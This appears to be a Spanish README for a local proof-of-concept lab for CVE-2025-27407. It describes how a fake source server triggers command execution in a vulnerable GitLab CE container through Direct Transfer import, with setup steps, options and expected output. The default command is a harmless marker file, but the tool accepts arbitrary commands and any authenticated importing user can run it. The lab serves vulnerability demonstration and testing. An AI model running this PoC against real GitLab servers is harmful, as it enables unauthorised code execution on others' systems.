
Laboratorio mínimo solo local para demostrar que la ruta HTTP de Direct Transfer de GitLab alcanza el cargador de esquemas de introspección vulnerable de graphql-ruby. El laboratorio ejecuta un contenedor GitLab CE vulnerable; el script del PoC inicia su servidor fuente falso de GitLab en el mismo proceso solo durante las pruebas.
Ejecútalo únicamente contra sistemas que poseas o que estés autorizado explícitamente a probar.
| Archivo | Propósito |
|---|---|
lab.sh | Inicia, espera, verifica y limpia el laboratorio de GitLab. |
poc_host_port_cmd.py | PoC de un solo uso: servidor fuente falso + disparador de inicio de sesión/configuración/importación de GitLab. |
podmancurlValores predeterminados:
El puerto 8080 es el predeterminado del script. Si algo más ya lo usa, utiliza 18080 como se muestra aquí.
cd gitlab-lab
chmod +x lab.sh poc_host_port_cmd.py
GITLAB_HTTP_PORT=18080 GITLAB_SSH_PORT=2225 ./lab.sh up
Abre GitLab en:
http://127.0.0.1:18080
Credenciales de acceso:
root / Cve27407Password!
root es solo el usuario predeterminado del laboratorio. El disparador del PoC no requiere una cuenta de administrador; cualquier usuario autenticado que pueda crear/importar en un espacio de nombres de destino puede alcanzar la ruta vulnerable de Direct Transfer. Usa --username y --password para probar con un usuario no administrador.
MARKER=/tmp/cve_2025_27407_gitlab_marker
podman exec cve-27407-gitlab rm -f "$MARKER"
./poc_host_port_cmd.py \
--host 127.0.0.1 \
--port 18080 \
--listen-port 8001 \
--wait-seconds 120 \
--cmd "touch $MARKER"
MARKER="$MARKER" ./lab.sh verify
Señales esperadas:
[*] create/import trigger status=200 final_url=http://127.0.0.1:18080/import/bulk_imports
[{"success":true,...}]
[evil-source] POST /api/graphql introspection -> malicious schema; command='touch ...'
[+] GitLab reached /api/graphql introspection over HTTP
[+] vulnerable: marker file exists inside GitLab container
8080 está ocupado, usa GITLAB_HTTP_PORT=18080 para ./lab.sh up.--listen-port a un puerto no utilizado.--wait-seconds o vuelve a ejecutar MARKER="$MARKER" ./lab.sh verify.GITLAB_HTTP_PORT=18080 ./lab.sh wait../lab.sh cleanup y comienza de nuevo../lab.sh cleanup
Esto elimina el contenedor de GitLab, cualquier contenedor heredado de fuente falsa de versiones anteriores del laboratorio y la red del laboratorio. No elimina las imágenes de Podman descargadas.
| Elemento | Predeterminado |
|---|
| Imagen de GitLab | docker.io/gitlab/gitlab-ce:16.11.8-ce.0 |
| Contenedor de GitLab | cve-27407-gitlab |
| Red de Podman | cve-2025-27407-net |
| Usuario root de GitLab | root |
| Contraseña de root de GitLab | Cve27407Password! |
| Marcador | /tmp/cve_2025_27407_gitlab_marker |
| Opción | Propósito | Predeterminado |
|---|
--host | Host de GitLab al que apuntar | Obligatorio |
--port | Puerto HTTP de GitLab al que apuntar | Obligatorio |
--cmd | Comando ejecutado en el entorno de ejecución de GitLab | touch /tmp/cve_2025_27407_gitlab_marker |
--listen-port | Puerto local del servidor fuente falso | 8001 |
--wait-seconds | Tiempo para mantener viva la fuente falsa para los trabajadores asíncronos de GitLab | 90 |
--username | Usuario de GitLab | root |
--password | Contraseña de GitLab | Cve27407Password! |
| Variable | Propósito | Predeterminado |
|---|
GITLAB_HTTP_PORT | Puerto HTTP de GitLab del host/contenedor | 8080 |
GITLAB_SSH_PORT | Puerto SSH de GitLab del host | 2224 |
GITLAB_ROOT_PASSWORD | Contraseña inicial de root | Cve27407Password! |
GITLAB_IMAGE | Imagen de GitLab a ejecutar | docker.io/gitlab/gitlab-ce:16.11.8-ce.0 |
NETWORK | Nombre de la red de Podman | cve-2025-27407-net |
MARKER | Archivo verificado dentro del contenedor de GitLab | /tmp/cve_2025_27407_gitlab_marker |
TIMEOUT_SECONDS | Tiempo de espera de disponibilidad | 1200 |